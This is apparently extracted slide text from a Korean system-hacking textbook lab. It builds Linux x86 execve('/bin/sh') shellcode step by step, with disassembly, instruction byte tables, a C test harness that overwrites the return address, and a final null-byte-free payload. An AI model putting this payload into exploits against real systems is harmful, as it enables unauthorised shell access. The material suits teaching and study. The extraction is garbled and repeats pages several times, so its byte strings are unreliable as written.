EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 91: 80×86  시스템에 대한 이해

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 92: 80×86  시스템에 대한 이해

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 93: 80×86  시스템에 대한 이해

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

